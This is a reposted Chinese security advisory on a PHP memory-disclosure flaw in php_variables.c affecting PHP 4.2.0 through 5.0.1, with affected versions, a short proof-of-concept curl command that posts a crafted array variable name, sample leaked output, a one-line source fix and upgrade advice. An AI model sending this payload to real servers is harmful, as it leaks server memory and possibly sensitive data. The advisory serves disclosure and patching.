PHP PHP_Variables远程内存泄露漏洞

2008-04-09 04:20:46来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折

PHP PHP_Variables远程内存泄露漏洞

发布日期:2004-09-15
更新日期:2004-10-10

受影响系统:
PHP PHP 5.0.1
PHP PHP 5.0.0
PHP PHP 4.3.8
PHP PHP 4.3.7
PHP PHP 4.3.6
PHP PHP 4.3.3
PHP PHP 4.3.2
PHP PHP 4.3.1
PHP PHP 4.3.0
PHP PHP 4.2.3
PHP PHP 4.2.2
PHP PHP 4.2.1
PHP PHP 4.2.0
不受影响系统:
PHP PHP 5.0.2
PHP PHP 4.1.2
描述:
BUGTRAQ ID: 11334

PHP是一种流行的WEB服务器端编程语言。

PHP中由于php_variables.c的错误数组解析,远程攻击者可以利用这个漏洞获得PHP代码或者部分内存数据。

通过在追加一个GET/POST/COOKIE变量数组后追加一个'[',如abc[a][,'a'数组元素长度设置为变量名strlen("abc")长度变量,可导致服务程序返回部分内存信息给攻击者,可能导致敏感信息泄露。

<*来源:Stefano Di Paola (stefano@dipaola.wisec.it)

链接:http://marc.theaimsgroup.com/?l=bugtraq&m=109527531130492&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Stefano Di Paola (stefano@dipaola.wisec.it)提供了如下测试方法:

$ curl "http://www.example.com/phpinfo.php" -d `perl -e 'print "f"x100;print "[g][=1"'`

where phpinfo.php is:
<?
phpinfo();
?>

或者包含print_r函数的PHP文件:
<?
print_r($_REQUEST);
?>

it will print the output similar to:
------------------------------------------------
Array
(
[ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffff] => Array
(

[g\0_\0123\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0] => 1
)
)
-----------------------------------------------

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 在php5.0.1中修改main/php_variables.c的136行:

index_len = var_len = strlen(var);

改为

index_len = var_len = strlen(index);


并重新编译。

厂商补丁:

PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

PHP Upgrade PHP 5.0.2
http://www.php.net/downloads.php#v5

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:Microsoft Internet Explorer远程任意XML文档解析漏洞

下一篇:BNC后退键处理远程任意BNC命令执行漏洞